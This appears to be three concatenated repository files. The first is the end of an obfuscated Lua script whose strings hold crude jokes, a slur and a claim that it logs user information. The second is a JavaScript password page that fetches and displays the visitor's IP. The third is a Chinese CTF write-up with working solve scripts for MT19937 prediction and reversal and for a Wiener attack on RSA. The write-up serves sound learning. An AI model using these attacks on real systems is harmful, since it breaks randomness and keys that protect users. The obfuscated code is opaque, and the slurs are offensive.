l[e[n]]=b(e[o]);elseif(a<7)then local n=e[n];local a=l[n+2];local t=l[n]+a;l[n]=t;if(a>0)then if(t<=l[n+1])then x=e[o];l[n+3]=t;end;elseif(t>=l[n+1])then x=e[o];l[n+3]=t;end;end;elseif(a<=11)then if(a<=9)then if(a==8)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];elseif(a<=9)then l[e[n]]=b(e[o]);e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];end;elseif(a==10)then e=e[t];local o=e[n];c=o+u-1;for e=0,u do l[o+e]=h[e];end;for e=c+1,i do l[e]=nil;end;e=e[t];local n=e[n];do return r(l,n,c);end;e=e[t];e=e[t];elseif(a<=11)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];end;elseif(a<=13)then if(a>12)then l[e[n]]=e[o];elseif(a<13)then l[e[n]]=#l[e[o]];end;elseif(a<=14)then l[e[n]]=l[e[o]][e[d]];elseif(a==15)then l[e[n]]=f[e[o]];elseif(a<=16)then local t=e[o];local o=l[t];for e=t+1,e[d]do o=o..l[e];end;l[e[n]]=o;end;elseif(a<=25)then if(a<=20)then if(a<=18)then if(a>17)then local n=e[n];l[n](r(l,n+1,e[o]));for e=n+1,i do l[e]=nil;end;elseif(a<18)then local e=e[n];l[e]=l[e](r(l,e+1,c));for e=e+1,c do l[e]=nil;end;end;elseif(a>19)then local e=e[n];do return r(l,e,c);end;elseif(a<20)then local e=e[n];c=e+u-1;for n=0,u do l[e+n]=h[n];end;for e=c+1,i do l[e]=nil;end;end;elseif(a<=22)then if(a>21)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];elseif(a<22)then end;elseif(a<=23)then local n=e[n];l[n]=l[n](r(l,n+1,e[o]));for e=n+1,i do l[e]=nil;end;elseif(a>24)then local e=e[n];l[e]=l[e](l[e+1]);for e=e+1,i do l[e]=nil;end;elseif(a<25)then l[e[n]]=B(A[e[o]],(nil),f);end;elseif(a<=29)then if(a<=27)then if(a>26)then l[e[n]]=b(256);elseif(a<27)then l[e[n]]=l[e[o]];end;elseif(a>28)then local n=e[n];local o,e=S(l[n](r(l,n+1,e[o])));c=e+n-1;local e=0;for n=n,c do e=e+1;l[n]=o[e];end;elseif(a<29)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];end;elseif(a<=31)then if(a==30)then local n=e[n];l[n]=0+(l[n]);l[n+1]=0+(l[n+1]);l[n+2]=0+(l[n+2]);local t=l[n];local a=l[n+2];if(a>0)then if(t>l[n+1])then x=e[o];else l[n+3]=t;end;elseif(t<l[n+1])then x=e[o];else l[n+3]=t;end;elseif(a<=31)then l[e[n]]=l[e[o]];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=f[e[o]];e=e[t];l[e[n]]=f[e[o]];e=e[t];l[e[n]]=l[e[o]][e[d]];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=#l[e[o]];e=e[t];local a=e[n];l[a]=l[a](r(l,a+1,e[o]));for e=a+1,i do l[e]=nil;end;e=e[t];l[e[n]]=l[e[o]][l[e[d]]];e=e[t];local a=e[n];l[a]=l[a](l[a+1]);for e=a+1,i do l[e]=nil;end;e=e[t];l[e[n]]=e[o];e=e[t];local c=e[o];local a=l[c];for e=c+1,e[d]do a=a..l[e];end;l[e[n]]=a;e=e[t];local n=e[n];l[n](r(l,n+1,e[o]));for e=n+1,i do l[e]=nil;end;e=e[t];e=e[t];end;elseif(a<=32)then do return;end;elseif(a==33)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];elseif(a<=34)then local t=e[n];local n=l[e[o]];l[t+1]=n;l[t]=n[e[d]];end;until false end);end;return B(T(),{},O())(...);end)(({[(560243951)]=((931444));[(47070287)]=("\111");nAylDu=((6));[((#{201;}+188399724))]=(((#{886;501;}+496)));['ql6ifaoL']=((843443));[((349246013-#("xXD3M0NSL4y3RXx")))]=(((#{397;705;45;(function(...)return 522,757;end)()}+982)));[((#{2;}+550485496))]=((7));['bQcW55balO']=((320));[((#{756;101;165;497;}+670813455))]=("\104");[((772693199-#("I only boosted to do this")))]=(((16777225-#("skillfuel"))));[(658459383)]=(((#{931;(function(...)return 306,289,...;end)(524,540)}+697768323)));Dpu2Zm=("\41");['ECnJvtZGn']=((432));[(854563866)]=((1));[((898045635-#("Comment the code down below to print the original code:")))]=((280));[((501062563-#("StrawHub losing")))]=((52));[(808281795)]=((658492691));[(408816505)]=("\99");TJxnOqxPy=("\50");[((813025152-#("psu-devirtualizator.zip.7z")))]=("\100");[(262833991)]=(((122-#("your dick will be a better place"))));[(620852950)]=("\102");[(196181781)]=(((#{380;609;38;354;(function(...)return 915,641,956,...;end)(485)}+44515)));['sbA57B']=((551240336));[(551240336)]=("\97");[((23783937-#("*what*")))]=((682));[(204854285)]=((778758));[(751494775)]=("\101");[((#{162;683;}+348144099))]=(((864-#("This script logs your information lmao - pratham"))));["h5fsQm5e"]=((5));[(413185253)]=(((47070317-#("Minuscule amount of tomfoolery"))));[(315638479)]=(((#{266;535;874;27;}+556)));[(298018068)]=((1974));[(342368722)]=((576156));["JUD6N1Uuzu"]=(((7895-#("dont buy strawberrys hub"))));['iAqL6b']=((393));[(870190502)]=((6510));['p3juBe']=("\110");[((236133844-#("Buy shitsploit v4")))]=(((#{560;848;402;334;}+339998588)));[(793276163)]=(((270-#("Ricked Roleld SKID"))));[(938178216)]=(((15628-#("Alt F4 for free robux"))));[((#{293;428;964;}+239649294))]=((181));doOJuiy=("\43");[((690379329-#("Powered by Raid Shadow Legends")))]=((165));[((490981618-#("die juden dringen ein")))]=("\108");[((#{798;(function(...)return 705,686,471,693,...;end)(892)}+68714356))]=((31));[(627426587)]=("\58");[((#{518;108;361;(function(...)return 640,362,660,198;end)()}+99194317))]=((912215140));[((658492695-#("what")))]=("\37");[((#{(function(...)return 537,396,628,206;end)()}+146770434))]=((3));[((#{936;633;853;790;}+37110968))]=(((#{877;735;730;(function(...)return 299,...;end)()}+16)));[(806955593)]=((3650));[(339998592)]=("\40");[((#{137;571;646;}+944225686))]=(((65600-#("How can hit your balls to make bigger balls. Will you cum to me?"))));[(976811598)]=((867));["cB6ksblBSZ"]=("\117");['VBxo5f']=("\116");[(336860459)]=("\120");[((#{853;750;470;(function(...)return 842,696,...;end)(383,381)}+62623554))]=((291));[(715417072)]=((256));[(270031753)]=((4));[(519235290)]=(((670813468-#("pls daily"))));[(680396111)]=((117));["euDtFMB2"]=("\98");[(760455656)]=((189856));[((64239876-#("tf is this")))]=(((277-#("My balls need to be scratched"))));[((695263720-#("I only boosted to do this")))]=((9));[(824514502)]=((363));['C6dcrC01']=((1328));[(537839695)]=(((813025129-#("why"))));[((130675376-#("nigger")))]=((128));[((#{312;138;214;(function(...)return 850,331,845,583;end)()}+145590505))]=((5000));[(912215140)]=("\109");[((#{874;}+272601953))]=((627426587));['zO2gdxFhZe']=((2));[(911148723)]=(((#{851;314;153;}+5)));[((#{318;}+461992583))]=(((751494831-#("herttfuscator_deobfuscator.zip Oh no everyones gonna die"))));[(492105161)]=((490981597));mrItQ76J0=("\114");yzpczwkrp=("\105");[((985317636-#("Powered by Raid Shadow Legends")))]=((2047));[(324999312)]=((32));Fafw5o=("\121");['jZJUs']=("\103");[(296590665)]=(((#{(function(...)return;end)()}+36)));[((352786598-#("GaySense?")))]=((21));[((808039208-#("This script was obfuscated using getfenv")))]=(((#{(function(...)return 17,911;end)()}+12726)));[((567913605-#("Allah yok ruqen var tam allahim")))]=(((#{337;926;791;(function(...)return 738,...;end)(810,766)}+1017)));[((419562464-#("fuck me daddy :)")))]=((620852950));[((#{580;}+697768327))]=("\107");[((195896904-#("peezda")))]=(((43611-#("if your mic picked up your fart it probably wasnt a fart"))));[(121874050)]=((640));["xbcPkF5y"]=("\112");[((#{506;914;}+500185800))]=((93));[(936439391)]=(((#{551;489;903;254;(function(...)return 831,857,757,227;end)()}+273917)));[((#{998;807;896;855;}+588103200))]=("\115");[(405141040)]=(((#{580;763;685;263;}+878)));[((957190789-#("hgi")))]=(((408816547-#("how do I compile lua into rust please help"))));[(36918929)]=(((1751-#("Buy shitsploit v4"))));[((777960925-#("skid")))]=(((25-#("perth is the perfect pedo"))));[((521189069-#("hi qt")))]=((336860459));[(69791605)]=((588103204));}),...)})do return e end; ```
zbarnz/SocNet
zbarnz/SocNet script.js ```async function ipGrab() { const response = await fetch("https://api.ipify.org/?format=json") .then((results) => results.json()) .then((data) => { console.log(data); alert("Password incorrect, IP has been logged: " + data.ip); }); } function goToMyGit() { var pass = document.getElementById("password"); if (pass.value == "SocNet") { window.open("https://dahvd.github.io/Group17/homepage"); } else { ipGrab(); $("#pass")[0].reset(); } return false; } ```
zbc-ops/zbc-ops
zbc-ops/zbc-ops README.md ```本周还是刷题,深入学习了winner攻击以及extend winner attack.然后就是做了几个有关造格子的题,没学很多,挺忙的。 直接从博客复制过来的,格式和markdown显示有点问题,更多可以看博客 www.zbc53.top 1.mrctf[friendly_sign-in] ![2021-04-11T10:22:32.png][1] 意思就是服务器产生一个数组$N$,需要输入一个数组$X$与其对应位置乘积和为$0$,题目说$N$中全为素数,实际好像不是,因为产生这么多素数比较耗时间,但里面还是大部分都是素数。这里可以利用里面任意两个素数$N_i,N_j$,用扩展欧几里得算法求到满足$x_i*N_i+x_j*N_j=1$的$x_i,x_j$的值,设 $C=\sum\limits_{k=0}^{len(N)-1}N_k(k\ne i\ne j)$,那么$C*x_i*N_i+C*x_j*N_j=C$,即$C*x_i*N_i+C*x_j*N_j+\sum\limits_{i=1}^{len(N)-1}(-1)N_i(i\ne i\ne j)=0$,就是说数组$X$对应$i,j$位置为$x_i,x_j$,其余全为$-1$,即可满足。 选择不同的素数对,传$len(N)$次得到$flag$所有比特位。 刚开始的$pow$验证,只要满足$sha512$后开头是$11111$就行,这里选择的爆破四位。 import hashlib from gmpy2 import * import string from Crypto.Util.number import * from pwn import * #context.log_level='debug' p=remote("node.mrctf.fun",10007) def solve1(s): flag=0 dic=string.ascii_letters + string.digits for i in dic: for j in dic: for x in dic: for y in dic: c=s+i+j+x+y c=hashlib.sha512(c.encode()).hexdigest() if c[:5]=="11111": flag=1 return i+j+x+y break if flag: break if flag: break if flag: break p.recvuntil("SHA512(\"") s=p.recv(8) p.sendline(solve1(s.decode())) n="" p.recvuntil("N = [") n+=p.recvuntil("]").decode() N=[] for i in n.split(","): N.append(int(i.strip("]"))) flag="" FLAG=0 for i in range(len(N)): for j in range(len(N)): if i<j and gcd(N[i],N[j])==1: first=N[i] Las=N[j] s,a,b=gcdext(first,Las) sum=0 for index in range(0,len(N)): if index !=i and index !=j: sum+=N[index] answer=[-1 for _ in range(len(N))] answer[i]=a*sum answer[j]=b*sum for k in answer: p.sendline(str(k)) try: p.recvuntil("gift: ") flag+=p.recv(1).decode() FLAG+=1 except: pass if FLAG==len(N)-1: break if FLAG==len(N)-1: break print(long_to_bytes(int(flag,2))) #MRCTF{e@3y_ch3ck_1n_pr0bl3m} [1]: /usr/uploads/2021/04/4290365254.png 随机数还能预测和逆向?梅森旋转算法是一种伪随机数发生算法,是R、Python、Ruby、IDL、Free Pascal、PHP、Maple、Matlab、GNU多重精度运算库和GSL的默认伪随机数产生器。 ----------- - 获得基础的梅森旋转链 - 对于旋转链进行旋转算法 - 对于旋转算法所得的结果进行处理 python伪代码: def _int32(x): return int(0xFFFFFFFF & x) class MT19937: # 根据seed初始化624的state def __init__(self, seed): self.mt = [0] * 624 self.mt[0] = seed self.mti = 0 for i in range(1, 624): self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i) # 提取伪随机数 def extract_number(self): if self.mti == 0: self.twist() y = self.mt[self.mti] y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18 self.mti = (self.mti + 1) % 624 return _int32(y) # 对状态进行旋转 def twist(self): for i in range(0, 624): y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff)) self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624] if y % 2 != 0: self.mt[i] = self.mt[i] ^ 0x9908b0df 首先说明:运算符优先级:$>>\:\&\:\oplus$ 1.逆向$extract\_number$函数: $y_1 = y \oplus y>> 18$,那么显然$y_1$的高$18$位是$y$的高18位,$y$高$18$位右移与$y$低$18$位异或得到$y_1$的低$18$位,那么就可以得到$y$的高$36$位,以此类推。在有限步内就可完成还原。 o = 99999999999999999999999999999999999999 y = o^o>>18 # 控制位移的次数 for i in range(len(bin(o)[2:])//18): y = y^(y>>18) print(y==o) #True 继续$y_1 = y \oplus y << 15 \& 4022730752$,掩码实际上并没有起到太大作用,。。。。 o = 99999999999999999999 y = o ^ o << 15 & 4022730752 tmp = y for i in range(len(bin(o)[2:]) // 15): y = tmp ^ y << 15 & 4022730752 print(y==o) #True 剩下的两个完全相同方法分析。 最终得到完整的逆$extract\_number$函数的代码: o = 9999999999999999999999999999999999999999999999999999999999999 # right shift inverse def inverse_right(res, shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp >> shift return tmp # right shift with mask inverse def inverse_right_mask(res, shift, mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp >> shift & mask return tmp # left shift inverse def inverse_left(res, shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp << shift return tmp # left shift with mask inverse def inverse_left_mask(res, shift, mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp << shift & mask return tmp def extract_number(y): y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18 return y def recover(y): y = inverse_right(y,18) y = inverse_left_mask(y,15,4022730752) y = inverse_left_mask(y,7,2636928640) y = inverse_right(y,11) return y y = extract_number(o) print(recover(y) == o) #True 2.预测随机数: 基于逆向$extract\_number$函数,只要有前$624$个数,由此求到对应的$state$,就可以实现预测。 from random import Random o = 9999999999999999999999999999999999999999999999999999999999999 # right shift inverse def inverse_right(res, shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp >> shift return tmp # right shift with mask inverse def inverse_right_mask(res, shift, mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp >> shift & mask return tmp # left shift inverse def inverse_left(res, shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp << shift return tmp # left shift with mask inverse def inverse_left_mask(res, shift, mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits // shift): tmp = res ^ tmp << shift & mask return tmp def recover(y): y = inverse_right(y,18) y = inverse_left_mask(y,15,4022730752) y = inverse_left_mask(y,7,2636928640) y = inverse_right(y,11) return y def clone_mt(record): state = [recover(i) for i in record] gen = Random() gen.setstate((3,tuple(state+[0]),None)) return gen f = open(r"预测.txt",'r').readlines() prng = [] for i in f: prng.append(int(i.strip("\n"))) g = clone_mt(prng[:624]) for i in range(700): g.getrandbits(32) key = g.getrandbits(32) print(key) #True 这里用到了$random$库的几个函数: import random #print a random number: print(random.getrandbits(32)) #capture the state: state = random.getstate() #print another random number: y=random.getrandbits(32) #restore the state: random.setstate(state) #and the next random number should be the same as when you captured the state: x=random.getrandbits(32) print(x==y) 所以只要能够还原$state$,就可以实现预测 3.逆向求到之前的随机数 既然可以预测,那么也能逆向,这个基于逆向$twist$部分。 def backtrace(cur): high = 0x80000000 low = 0x7fffffff mask = 0x9908b0df state = cur for i in range(623,-1,-1): tmp = state[i]^state[(i+397)%624] # recover Y,tmp = Y if tmp & high == high: tmp ^= mask tmp <<= 1 tmp |= 1 else: tmp <<=1 # recover highest bit res = tmp&high # recover other 31 bits,when i =0,it just use the method again it so beautiful!!!! tmp = state[i-1]^state[(i+396)%624] # recover Y,tmp = Y if tmp & high == high: tmp ^= mask tmp <<= 1 tmp |= 1 else: tmp <<=1 res |= (tmp)&low state[i] = res return state 最终完整代码: from random import Random # right shift inverse def inverse_right(res,shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits//shift): tmp = res ^ tmp >> shift return tmp # right shift with mask inverse def inverse_right_values(res,shift,mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits//shift): tmp = res ^ tmp>>shift & mask return tmp # left shift inverse def inverse_left(res,shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits//shift): tmp = res ^ tmp << shift return tmp # left shift with mask inverse def inverse_left_values(res,shift,mask): tmp = res bits=len(bin(res)[2:]) for i in range(bits//shift): tmp = res ^ tmp << shift & mask return tmp def backtrace(cur): high = 0x80000000 low = 0x7fffffff mask = 0x9908b0df state = cur for i in range(3,-1,-1): tmp = state[i+624]^state[i+397] # recover Y,tmp = Y if tmp & high == high: tmp ^= mask tmp <<= 1 tmp |= 1 else: tmp <<=1 # recover highest bit res = tmp&high # recover other 31 bits,when i =0,it just use the method again it so beautiful!!!! tmp = state[i-1+624]^state[i+396] # recover Y,tmp = Y if tmp & high == high: tmp ^= mask tmp <<= 1 tmp |= 1 else: tmp <<=1 res |= (tmp)&low state[i] = res return state def recover_state(out): state = [] for i in out: i = inverse_right(i,18) i = inverse_left_values(i,15,4022730752) i = inverse_left_values(i,7,2636928640) i = inverse_right(i,11) state.append(i) return state f = open(r"还原.txt","r").readlines() c = [] for i in range(624): c.append(int(f[i].strip())) partS = recover_state(c) state = backtrace([0]*4+partS)[:624] print(state) prng = Random() prng.setstate((3,tuple(state+[0]),None)) for i in range(4): print(prng.getrandbits(32)) #True 4.逆向$__init__$函数 锁定关键代码$(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)& 0xFFFFFFFF 显然$self.mt[i - 1] ^ self.mt[i - 1] >> 30)$这个可逆的,如1中逆向$extract\_number$ $& 0xFFFFFFFF$相当于取低$32$位,也就是模$2^32$,而$gcd(1812433253 ,2^32)=1$,那么模逆存在。 from gmpy2 import invert def _int32(x): return int(0xFFFFFFFF & x) def init(seed): mt = [0] * 624 mt[0] = seed for i in range(1, 624): mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) + i) return mt seed = 2080788869 def invert_right(res,shift): tmp = res bits=len(bin(res)[2:]) for i in range(bits//shift): res = tmp^res>>shift return _int32(res) def recover(last): n = 1<<32 inv = invert(1812433253,n) for i in range(623,0,-1): last = ((last-i)*inv)%n last = invert_right(last,30) return last state = init(seed) print(recover(state[-1]) == seed) 由此完成成对梅森算法的逆向,实现对随机数的预测和逆向。 继续记录废物striving的刷题日常,记录及心得,一些有趣的练习题和比赛题。 1.虎符杯cubic: $\require{enclose}\enclose{horizontalstrike}{好家伙,就是做一道数学题呗,看一眼觉得还挺简单,结果还是跑去日论文}$ 题目:求$(a,b,c)$满足$\frac{a}{b+c}+\frac{b}{a+c}+\frac{c}{a+b}=6$的$6$组正整数解,且三者两两互素。 整理一下主要思路就是:等式两边同时乘以$(a+b)(b+c)(a+c)$ 有:$a^3+b^3+c^3-5(a^2b+ab^2+a^2c+ac^2+b^2c+bc^2)-9abc=0$ 可以通过一个变换$x=f(a,b,c),y=g(a,b,c)$ 得到椭圆曲线:$y^3=x^3+Ax^2+Bx$ 在椭圆曲线上得到一个点$(x,y)$得到$a=\nu(x,y),b=\mu(x,y),c=\lambda(x,y)$ 只要得到该线性变换$f,g$那么就可以实现该过程。 在论文中找到:对于$\frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=N$ 可以通过:$x=\frac{-4(a+b+2c)(N+3)}{(2a+2b-c)+(a+b)N},y=\frac{4(a-b)(N+3)(2N+5)}{(2a+2b-c)+(a+b)N}$ 化成椭圆曲线:$y^2=x^3+(4N^2+12N-3)x^2+32(N+3)x$ 那么对应的$a=\frac{8(N+3)-x+y}{2(4-x)(N+3)},b=\frac{8(N+3)-x-y}{2(4-x)(N+3)},c=\frac{-4(N+3)-(N+2)x}{(4-x)(N+3)}$ 可以在椭圆曲线上寻找到一个点,然后从他的倍点里面筛选符合条件的。 $\frac{ta}{tb+tc}=\frac{ta}{t(b+c)}=\frac{a}{b+c}$,那么就算得到的是分数形式,也可以通过通分,再约分求到$a,b,c$ N=6 a2=4*N^2+12*N-3 a4=32*(N+3) E=EllipticCurve([0,a2,0,a4,0]) #print(E.gens()) x0,y0=-200,680 P=E(x0,y0) l=[] ll=[] for i in range(1,200): p=(P*i).xy() l.append(p) for x,y in l: a=(8*(n+3)-x+y)/(2*(4-x)*(n+3)) b=(8*(n+3)-x-y)/(2*(4-x)*(n+3)) c=(-4*(n+3)-(n+2)*x)/((4-x)*(n+3)) if a<=0 or b<=0 or c<=0: continue abc=a.denominator()*b.denominator()*c.denominator() a=a*abc b=b*abc c=c*abc g=gcd(a,gcd(b,c)) ll.append((a//g,b//g,c//g)) ll=ll[:6] from pwn import * i=0 while i<6: for xyz in ll: p.recvuntil("[>] x: ") p.sendline(str(xyz[0])) p.recvuntil("[>] y: ") p.sendline(str(xyz[1])) p.recvuntil("[>] z: ") p.sendline(str(xyz[2])) i+=1 p.recvuntil("flag") #flag{1f88de74-b6af-4b2b-abd5-46356151698b} 参考文章: [https://ami.uni-eszterhazy.hu/uploads/papers/finalpdf/AMI_43_from29to41.pdf][1] [https://mlzeng.com/an-interesting-equation.html#sec-3][2] [https://www.quora.com/How-do-you-find-the-positive-integer-solutions][3] 2.[羊城杯 2020]RRRRRRRSA ![2021-04-03T12:59:43.png][4] 首先回顾一下$winner$攻击,基于连分数的攻击方法。 首先连分数:$$x=a_0 + \frac {1}{a_1 + \frac {1}{a_2 + \frac {1}{a_3 + \frac {1}{a_4 + ...}}}}$$ $Legendre’s theorem$定理指出:若满足$|\alpha-\frac{c}{d}\lt \frac{1}{2d^2}|$,则称$\frac{c}{d}$是$\alpha$的连分数收敛。 证明:首先有:$ed-1=k\phi(n)$ 两边同时除以$d\phi(n)$:$\frac{e}{\phi{n}}-\frac{k}{d}=\frac{1}{d\phi(n)}$ 有:$\phi(n) \approx n,\frac{1}{d\phi(n)}\rightarrow 0$ 那么就有:$\frac{e}{n}$略大于$\frac{k}{d}$,对$\frac{e}{n}$连分数展开,可以覆盖$\frac{k}{d}$ 适用于:$d\lt\frac{N^\frac{1}{4}}{3}$ from gmpy2 import * def rational_to_contfrac(x,y): # Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] a = x // y pquotients = [a] while a * y != x: x, y = y, x - a * y a = x // y pquotients.append(a) return pquotients def convergents_from_contfrac(frac): # computes the list of convergents using the list of partial quotients convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i])) return convs def contfrac_to_rational (frac): # Converts a finite continued fraction [a0, ..., an] to an x/y rational. if len(frac) == 0: return (0,1) num = frac[-1] denom = 1 for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num return (num, denom) n = 90581 e = 17993 def crack_rsa(e, n): frac = rational_to_contfrac(e, n) convergents = convergents_from_contfrac(frac) for (k, d) in convergents: if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 # check if x*x - s*x + n = 0 has integer roots D = s * s - 4 * n if D >= 0: sq = isqrt(D) if sq * sq == D and (s + sq) % 2 == 0: return d d = crack_rsa(e, n) print(d) 再回到这个题: 可以发现$p1和p2$,$q1和q2$都相差不大,因为根据素数分布:两个相邻素数之间一般不会超过1500; 那么$\frac{N_1}{N_2}=(\frac{p_1}{p_2})^2\frac{q_1}{q_2}$ 有$\frac{N_1}{N_2}\lt\frac{q_1}{q_2}\lt{1}$,相差是比较小的,对$\frac{N_1}{N_2}$进行连分数展开,就能覆盖到$\frac{q_1}{q_2}$。 from gmpy2 import * from Crypto.Util.number import * def rational_to_contfrac(x,y): # Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] a = x // y pquotients = [a] while a * y != x: x, y = y, x - a * y a = x // y pquotients.append(a) return pquotients def convergents_from_contfrac(frac): # computes the list of convergents using the list of partial quotients convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i])) return convs def contfrac_to_rational (frac): # Converts a finite continued fraction [a0, ..., an] to an x/y rational. if len(frac) == 0: return (0,1) num = frac[-1] denom = 1 for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num return (num, denom) 